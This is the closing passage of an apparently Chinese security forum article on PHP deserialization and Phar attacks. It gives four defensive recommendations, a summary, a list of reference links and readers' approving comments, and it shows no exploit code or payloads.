当然,这些还远远不够,在这片文章中列举了非常多与之有关的函数

如图所示:

此处输入图片的描述

此处输入图片的描述

除此之外就是 zsx 师傅找到的,我没有仔细看重合的部分,读者想发觉自己看一下吧

0X07 防御方法:

1.严格的把控 unserailize() 函数的参数,不要给攻击者任何输入的可能
2.在文件系统函数的参数可控时,对参数进行严格的过滤。
3.严格检查上传文件的内容,而不是只检查文件头。
4.在条件允许的情况下禁用可执行系统命令、代码的危险函数。

0X08 总结

本文结合我对 PHP 反序列化的理解以及参考文章的分析,详细地一步一个脚印地分析了 什么是PHP 反序列化,PHP 反序列化有什么意义, 攻击者是如何利用 PHP 反序列化的漏洞进行攻击的,并详细分析了通用的攻击思路与攻击手段,对 Phar 对 PHP 反序列化的扩展也做了详细的讨论,特别是补充的从底层分析漏洞来源并扩展攻击面很值得我们思考(感谢ZSX 大佬的分享,利用这个知识点我也出了 LCTF 2018 的一道 web 题,我从中也学到了很多,当然由于水平有限,这一部分分析可能不到位,请大家见谅),我还在在最后给出了简单的防御 PHP 反序列化的几条建议,希望读者在看完我的文章以后有与众不同的的收获,这将是我莫大的荣幸。

0X08 参考

https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
http://paper.tuisec.win/detail/fa497a4e50b5d83
http://www.blogsir.com.cn/safe/452.html
https://paper.seebug.org/680/
https://www.lorexxar.cn/2017/11/10/hitcon2017-writeup/

http://www.venenof.com/index.php/archives/565/
http://www.blogsir.com.cn/safe/452.html

http://www.php.net/manual/en/book.stream.php

6 Likes

欢迎师傅~
这篇文章写的是真的好😬

写的很好!

无敌好!!!很有帮助